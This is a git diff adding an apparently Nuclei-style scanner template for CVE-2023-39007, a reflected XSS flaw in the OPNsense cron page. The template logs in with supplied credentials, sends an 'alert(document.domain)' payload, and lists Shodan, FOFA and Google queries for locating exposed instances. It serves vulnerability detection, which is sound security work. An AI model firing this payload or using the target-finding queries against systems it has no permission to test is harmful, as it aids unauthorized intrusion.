diff --git a/http/cves/2023/CVE-2023-39007.yaml b/http/cves/2023/CVE-2023-39007.yaml
new file mode 100644
index 0000000000..fa3942e812
--- /dev/null
+++ b/http/cves/2023/CVE-2023-39007.yaml
@@ -0,0 +1,77 @@
+id: CVE-2023-39007
+
+info:
+  name: OPNsense - Cross-Site Scripting to RCE
+  author: ritikchaddha
+  severity: critical
+  description: |
+    There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
+  reference:
+    - https://logicaltrust.net/blog/2023/08/opnsense.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-39007
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
+    cvss-score: 9.6
+    cve-id: CVE-2023-39007
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
+  metadata:
+    max-request: 3
+    vendor: opnsense
+    product: opnsense
+    shodan-query:
+      - title:"OPNsense"
+      - http.title:"opnsense"
+    fofa-query: title="opnsense"
+    google-query: intitle:"opnsense"
+  tags: cve2023,cve,opnsense,xss,authenticated,rce
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
+
+      - |
+        GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_3
+        words:
+          - "openDialog('0'+alert(document.domain)+''"
+
+      - type: word
+        part: header_3
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: para
+        part: body
+        group: 1
+        regex:
+          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
+        internal: true
+
+      - type: regex
+        name: value
+        part: body
+        group: 2
+        regex:
+          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
+        internal: true